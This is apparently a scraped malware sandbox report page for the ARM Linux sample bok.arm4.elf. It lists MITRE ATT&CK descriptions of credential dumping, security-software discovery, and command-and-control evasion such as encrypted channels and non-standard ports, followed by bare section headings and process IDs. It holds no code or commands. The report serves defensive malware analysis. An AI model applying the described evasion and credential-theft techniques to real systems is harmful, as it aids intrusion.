Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report bok.arm4.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: bok.arm4.elf PID: 6225, Parent PID: 6124

General

Analysis Process: bok.arm4.elf PID: 6227, Parent PID: 6225

General

Analysis Process: bok.arm4.elf PID: 6231, Parent PID: 6225

General

Analysis Process: bok.arm4.elf PID: 6233, Parent PID: 6231

General

Linux Analysis Report
bok.arm4.elf